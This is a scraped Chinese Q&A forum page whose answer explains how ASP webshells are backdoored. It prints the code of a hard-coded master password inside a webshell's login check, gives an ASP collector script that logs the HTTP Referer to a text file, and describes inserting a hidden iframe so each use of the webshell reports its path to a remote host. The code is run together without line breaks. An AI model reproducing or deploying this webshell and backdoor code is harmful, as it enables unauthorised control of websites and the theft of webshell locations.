永发信息网

怎么在asp木马上留后门

答案:3  悬赏:50  手机版
解决时间 2021-01-03 13:11
怎么在asp木马上留后门
听说有这个后门但是怎么在asp木马中留后门
要什么代码么
有会的介绍一下
最佳答案
通常加了后门的为了隐秘性,都会加密!所以首先我们要先解密 asp木马解密工具解密后先检查有无万能密码,也就是说就算你改了木马的密码,他也能用这个密码来登录正常的:EnD fUNCtIONIF SEssIoN("web2a2dmin")<>UsERpaSs thEnIF requeSt.FoRM("pass")<>"" TheNiF REquesT.foRM("pass")=uSERPASS ThenSEsSIoN("web2a2dmin")=uSERPAssrESPOnsE.rEdirEct UrlELserrs"对不起,密码验证失败!"加有万能密码的:EnD fUNCtIONIF SEssIoN("web2a2dmin")<>UsERpaSs thEnIF requeSt.FoRM("pass")<>"" TheNiF REquesT.foRM("pass")=uSERPASS or request.form("pass")="1111111" ThenSEsSIoN("web2a2dmin")=uSERPAssrESPOnsE.rEdirEct UrlELserrs"对不起,密码验证失败!"1111111就是传说中的万能密码了。找到万能密码代码后把or request.form("pass")="1111111" 删除就OK了!下面来找马大多数都喜欢用框架挂马:找到后删了,到此asp后门就算剔除了!下面教大家后门的原理:这是一段收信的asp代码将其保存为1.asp<%url=Request.ServerVariables("HTTP_Referer")set fs=server.CreateObject("Scripting.FileSystemObject")set file=fs.OpenTextFile(server.MapPath("bobo.txt"),8,True)file.writeline urlfile.closeset file=nothingset fs=nothing%>代码基本意思就是:“HTTP_REFERER” 链接到当前页面的前一页面的 URL 地址简单来说就是获得webshell的地址然后记录在bobo.txt这里文本里上传到空间比如 http://127.0.0.1/1.asp然后里用http://127.0.0.1/1.asp width=0 height=0>插到asp木马中那么别人访问这个被挂了马的asp木马就会生成个bobo.txt里面就会有asp大马的路径了
全部回答
海端asp木马有
我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
从昨天开始。展现访客都变少了,跟十一长假有
单选题下列句中标点符号使用有误的一项是()
从完全不会到学会法语需要多长时间?
童年时的第二件事也给我留下深刻的印象。我八
加减乘除的意义
单选题下列说法正确的是A.粒子半径Na+>NaB.N
房子像什么
“麦当劳”在全球开设了许多连锁店,不仅为美
如何交电信宽带费
在一次数学活动课上,老师带领学生去测一条南
日上立下是啥字?
黔江区南海派出所地址在哪?我要去那里办事
从上海邮运快递到西昌大概要多久?
复合地板用不用打蜡,用什么牌子的蜡?
魅族手机怎么改内存卡位置
推荐资讯
八七年的一角运动会纪念硬币,现在值多少钱
你能用蓝笔写出红字来吗? 
谁有《初恋这件小事》电影 百度云发我
腾讯微云密码忘了,用手机号注册的,怎样找回
武松究竟想不想和金莲啪啪啪
中石化下雷加油站地址在哪,我要去那里办事,
单选题对于固氮微生物的下列描述正确的是A.自
读地球公转示意图和太阳直射点回归运动示意图
吃葡萄干要洗吗?
单选题很多同学喜欢上网查资料。如果你在百度
汽车后刹车分泵异响怎么解决
判断题因为42÷7=6,所以42是7的倍数,7是42
正方形一边上任一点到这个正方形两条对角线的
阴历怎么看 ?